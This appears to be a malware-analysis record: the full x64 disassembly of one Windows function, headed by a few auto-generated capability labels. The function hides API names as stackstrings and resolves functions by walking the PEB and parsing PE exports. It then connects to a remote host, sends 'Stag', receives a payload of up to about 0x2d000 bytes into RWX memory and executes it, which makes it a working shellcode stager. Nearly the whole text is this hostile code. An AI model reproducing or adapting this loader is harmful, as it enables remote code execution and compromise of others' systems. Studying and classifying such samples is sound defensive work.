Function at 0x140001000
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Get ntdll base address
Get process filename
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2d208]
mov eax, 0x2d308
call fcn.1400014f0
sub rsp, rax
mov dword [rbp - 0x30], 0x6e72654b
mov dword [rbp - 0x2c], 0x32336c65
mov dword [rbp - 0x28], 0x6c6c642e
mov byte [rbp - 0x24], 0
mov dword [rbp - 0x60], 0x696e6957
mov dword [rbp - 0x5c], 0x2e74656e
mov dword [rbp - 0x58], 0x6c6c64
mov dword [rbp - 0x40], 0x64616f4c
mov dword [rbp - 0x3c], 0x7262694c
mov dword [rbp - 0x38], 0x41797261
mov byte [rbp - 0x34], 0
mov dword [rbp - 0x10], 0x74726956
mov dword [rbp - 0xc], 0x416c6175
mov dword [rbp - 8], 0x636f6c6c
mov byte [rbp - 4], 0
mov dword [rsp + 0x60], 0x6376736d
mov dword [rsp + 0x64], 0x642e7472
mov word [rsp + 0x68], 0x6c6c
mov byte [rsp + 0x6a], 0
mov dword [rbp - 0x20], 0x61766461
mov dword [rbp - 0x1c], 0x32336970
mov dword [rbp - 0x18], 0x6c6c642e
mov byte [rbp - 0x14], 0
mov dword [rsp + 0x70], 0x5f327377
mov dword [rsp + 0x74], 0x642e3233
mov word [rsp + 0x78], 0x6c6c
mov byte [rsp + 0x7a], 0
mov dword [rsp + 0x28], 0x6c727473
mov word [rsp + 0x2c], 0x6e65
mov byte [rsp + 0x2e], 0
mov dword [rsp + 0x30], 0x6e697270
mov word [rsp + 0x34], 0x6674
mov byte [rsp + 0x36], 0
mov dword [rbp - 0x80], 0x53415357
mov dword [rbp - 0x7c], 0x74726174
mov word [rbp - 0x78], 0x7075
mov byte [rbp - 0x76], 0
mov dword [rsp + 0x38], 0x6b636f73
mov word [rsp + 0x3c], 0x7465
mov byte [rsp + 0x3e], 0
mov dword [rsp + 0x48], 0x6e6e6f63
mov dword [rsp + 0x4c], 0x746365
mov dword [rbp + 0x2d260], 0x646e6573
mov byte [rbp + 0x2d264], 0
mov dword [rbp + 0x2d268], 0x76636572
mov byte [rbp + 0x2d26c], 0
mov dword [rbp - 0x50], 0x736f6c63
mov dword [rbp - 0x4c], 0x636f7365
mov dword [rbp - 0x48], 0x74656b
mov dword [rbp - 0x70], 0x43415357
mov dword [rbp - 0x6c], 0x6e61656c
mov word [rbp - 0x68], 0x7075
mov byte [rbp - 0x66], 0
mov dword [rsp + 0x50], 0x74656e69
mov dword [rsp + 0x54], 0x6464615f
mov word [rsp + 0x58], 0x72
mov dword [rsp + 0x20], 0x6e6f7468
mov word [rsp + 0x24], 0x73
mov dword [rsp + 0x40], 0x636d656d
mov word [rsp + 0x44], 0x7970
mov byte [rsp + 0x46], 0
mov dword [rbp + 0x2d258], 0x67617453
mov byte [rbp + 0x2d25c], 0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x20]
test rdx, rdx
je 0x140001207
nop word [rax + rax]
mov rax, qword [rdx + 0x50]
cmp word [rax + 0x18], 0
je 0x1400013d2
mov rdx, qword [rdx]
test rdx, rdx
jne 0x1400011f0
mov r8, qword [rbp + 0x2d250]
movsxd rax, dword [r8 + 0x3c]
xor r14d, r14d
mov edx, r14d
mov r9d, dword [rax + r8 + 0x88]
add r9, r8
mov ecx, dword [r9 + 0x20]
mov r10d, dword [r9 + 0x18]
add rcx, r8
test r10d, r10d
je 0x14000125a
mov eax, dword [rcx]
cmp byte [rax + r8], 0x47
jne 0x14000124f
cmp byte [rax + r8 + 0xd], 0x73
jne 0x14000124f
cmp byte [rax + r8 + 0xe], r14b
je 0x1400013db
inc edx
add rcx, 4
cmp edx, r10d
jb 0x140001233
mov r15, qword [rbp + 0x2d250]
lea rdx, [rbp - 0x40]
mov rcx, r8
call r15
mov rbx, rax
lea rcx, [rsp + 0x60]
call rbx
lea rcx, [rbp - 0x30]
mov rdi, rax
call rbx
lea rcx, [rbp - 0x60]
mov rsi, rax
call rbx
lea rcx, [rbp - 0x20]
call rbx
lea rcx, [rsp + 0x70]
call rbx
lea rdx, [rsp + 0x28]
mov rcx, rdi
mov rbx, rax
call r15
lea rdx, [rsp + 0x30]
mov qword [rbp + 0x20], rax
mov rcx, rdi
call r15
lea rdx, [rbp - 0x80]
mov rcx, rbx
call r15
lea rdx, [rsp + 0x38]
mov qword [rbp], rax
mov rcx, rbx
call r15
lea rdx, [rsp + 0x48]
mov qword [rbp + 8], rax
mov rcx, rbx
call r15
lea rdx, [rbp + 0x2d260]
mov rcx, rbx
mov r13, rax
call r15
lea rdx, [rbp + 0x2d268]
mov qword [rbp + 0x28], rax
mov rcx, rbx
call r15
lea rdx, [rbp - 0x50]
mov rcx, rbx
mov r12, rax
call r15
lea rdx, [rbp - 0x70]
mov qword [rbp + 0x30], rax
mov rcx, rbx
call r15
lea rdx, [rsp + 0x50]
mov qword [rbp + 0x38], rax
mov rcx, rbx
call r15
lea rdx, [rsp + 0x20]
mov qword [rbp + 0x10], rax
mov rcx, rbx
call r15
lea rdx, [rsp + 0x40]
mov qword [rbp + 0x18], rax
mov rcx, rdi
call r15
lea rdx, [rbp - 0x10]
mov qword [rbp + 0x40], rax
mov rcx, rsi
call r15
mov r15, rax
call fcn.1400014d0
mov rdi, rax
cmp dword [rax], 0xffffffff
je 0x140001368
inc rdi
cmp dword [rdi], 0xffffffff
jne 0x140001360
movzx ebx, word [rdi + 4]
lea rdx, [rbp + 0x60]
mov esi, 2
mov ecx, esi
call qword [rbp]
xor r8d, r8d
lea edx, [rsi - 1]
mov ecx, esi
call qword [rbp + 8]
lea rcx, [rdi + 6]
mov rsi, rax
call qword [rbp + 0x10]
mov dword [rbp + 0x4c], eax
movzx ecx, bx
mov eax, 2
mov word [rbp + 0x48], ax
call qword [rbp + 0x18]
mov word [rbp + 0x4a], ax
mov ebx, r14d
nop dword [rax + rax]
cmp ebx, 5
jge 0x14000147d
mov r8d, 0x10
lea rdx, [rbp + 0x48]
mov rcx, rsi
call r13
cmp eax, 0xffffffff
jne 0x1400013fb
inc ebx
jmp 0x1400013b0
mov r8, qword [rdx + 0x20]
jmp 0x14000120e
mov eax, dword [r9 + 0x24]
add rax, r8
mov ecx, edx
movzx edx, word [rax + rcx*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov r15d, dword [rcx + rdx*4]
add r15, r8
jmp 0x140001261
lea rcx, [rbp + 0x2d258]
call qword [rbp + 0x20]
xor r9d, r9d
lea rdx, [rbp + 0x2d258]
mov r8, rax
mov rcx, rsi
call qword [rbp + 0x28]
xor r9d, r9d
lea rdx, [rbp + 0x2d250]
mov rcx, rsi
lea r8d, [r9 + 4]
call r12
mov ebx, dword [rbp + 0x2d250]
test ebx, ebx
jle 0x14000147d
nop word [rax + rax]
movsxd rdx, r14d
mov r8d, 0x2d000
sub r8d, r14d
mov eax, ebx
mov ecx, 0x2d000
sub rcx, rdx
cmp rcx, rax
lea rax, [rbp + 0x200]
mov rcx, rsi
cmovae r8d, ebx
add rdx, rax
xor r9d, r9d
call r12
test eax, eax
jle 0x14000147d
sub ebx, eax
add r14d, eax
test ebx, ebx
jg 0x140001440
mov rcx, rsi
call qword [rbp + 0x30]
call qword [rbp + 0x38]
xor ecx, ecx
mov edx, 0x100000
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call r15
mov r8d, 0x2d000
lea rdx, [rbp + 0x200]
mov rcx, rax
mov rbx, rax
call qword [rbp + 0x40]
call rbx
add rsp, 0x2d308
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret